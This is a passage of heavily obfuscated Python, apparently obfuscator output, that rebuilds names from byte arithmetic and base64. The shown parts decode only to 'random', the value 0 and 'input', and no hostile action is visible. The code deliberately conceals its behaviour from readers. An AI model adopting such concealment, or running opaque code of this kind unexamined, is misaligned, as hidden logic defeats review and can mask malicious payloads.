6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'cmFuZG9t').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))) +__1068350856__ = int(__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'MA==').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))) +__1832658953__ = __builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'aW5wdXQ=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + 